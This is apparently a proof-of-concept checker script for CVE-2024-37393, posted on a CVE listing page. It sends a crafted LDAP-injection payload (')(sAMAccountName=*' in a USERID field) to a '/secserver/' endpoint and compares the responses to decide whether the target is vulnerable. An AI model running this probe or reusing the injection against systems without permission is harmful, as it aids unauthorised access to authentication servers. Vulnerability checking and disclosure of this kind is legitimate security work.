4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/python3
import random
import string
import logging
import requests
import argparse

logging.basicConfig(level=logging.INFO)

QUERY_CHECK_INJECTION = """FLAG=DESKTOP\r
1\r
STATUS:INIT\r
USERID:{})(sAMAccountName=*\r
MEMBEROF:Domain Users
"""

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='cve-2024-37393-checker')
    parser.add_argument("-u", "--url", help="http(s)://target.com", required=True)
    args = parser.parse_args()

    res = requests.post("{}/secserver/?".format(args.url), data="FLAG=DESKTOP")
    version = res.content.split(b"\r\n")[0].decode("ascii")
    logging.info("CVE-2024-37393 checker script - OPTISTREAM.IO")
    logging.info(f"Identified version: {version}")

    logging.info("Checking LDAP injection...")

    random_cn = ''.join(random.choices(string.ascii_lowercase, k=20))
    res1 = requests.post("{}/secserver/?".format(args.url), \
                         data=QUERY_CHECK_INJECTION.format(random_cn))
    res2 = requests.post("{}/secserver/?".format(args.url), \
                         data=QUERY_CHECK_INJECTION.format('*'))

    if "Error checking Group" in res1.content.decode("ascii") and \
        "GETPASSCODE" in res2.content.decode("ascii"):
        logging.warning("Target is vulnerable")
    else:
        logging.error("Not vulnerable")